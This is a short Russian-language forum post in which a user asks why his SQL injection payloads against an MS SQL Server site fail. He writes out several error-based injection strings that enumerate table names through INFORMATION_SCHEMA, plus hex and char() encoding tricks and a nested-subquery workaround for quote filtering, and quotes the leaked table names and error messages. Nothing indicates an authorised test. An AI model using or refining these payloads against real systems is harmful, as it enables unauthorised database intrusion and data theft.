frost18
Сообщений: 1
Оценки: 0
Присоединился: 2011-12-25 14:22:07.490000
|
Добрый день. Хотел бы разобраться с ошибкой. В пост запросе отправляю: 1 OR 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)– Вернулось имя первой таблицы tblRedirectCount. Все ок! 1 OR 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('tblRedirectCount'))– И тут ошибка! Microsoft OLE DB Provider for SQL Server ошибка '80040e14' Incorrect syntax near 'tblRedirectCount'. Пробую имя таблицы передать HEX 1 OR 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (0x74626C5265646972656374436F756E74))– Скрипт работает 20 сек и меня редиректит Единственное получается вложенным запросом 1 OR 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES))– Возвращает имя второй таблицы tblSelGroup_Catalog Почему не получается явно исключать таблицы или колонки? Пробывал записывать в ASCII код 1 OR 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN char(116)%2Bchar(98)%2Bchar(108)%2Bchar(82)%2Bchar(101)%2Bchar(100)%2Bchar(105)%2Bchar(114)%2Bchar(101)%2Bchar(99)%2Bchar(116)%2Bchar(67)%2Bchar(111)%2Bchar(117)%2Bchar(110)%2Bchar(116))– Ошибка ! Incorrect syntax near 'char'.
|